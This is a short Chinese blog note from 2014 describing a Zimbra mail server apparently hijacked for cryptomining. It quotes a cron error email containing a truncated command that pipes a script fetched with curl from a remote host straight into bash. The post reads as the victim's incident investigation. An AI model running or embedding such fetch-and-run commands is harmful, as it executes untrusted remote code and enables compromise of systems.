### [筆記] Zimbra 主機疑似被拿來挖礦了

2014-08-08 工作筆記
最近發現Zimbra主機似乎被駭客打進去了 會有 root 往外發信的紀錄，所以在 zimbra的postfix裡面設定了 always_bcc ，想看一下到底是寄出什麼東西 似乎是透過crontab 定時送出，可是我/etc底下的 crontab 都檢查過了，沒看到異常說.. 信件內容如下 > > > > > > > > > > > > > > > > > > ### Cron Daemon <root@> > > > > > > > > > > > > > > 3:00 (5 小時前) > > > > > > > > > > > > > > > > > > > > > > > > 寄給 zimbra > > > > > > > > > > > > > > > > > > > > > > > > /bin/sh: -c: line 0: syntax error near unexpected token (' > > /bin/sh: -c: line 0:/bin/bash <(curl -ksL https://cp1. Continue reading
© 2017 by Lednerb - RSS
Bilberry Hugo Theme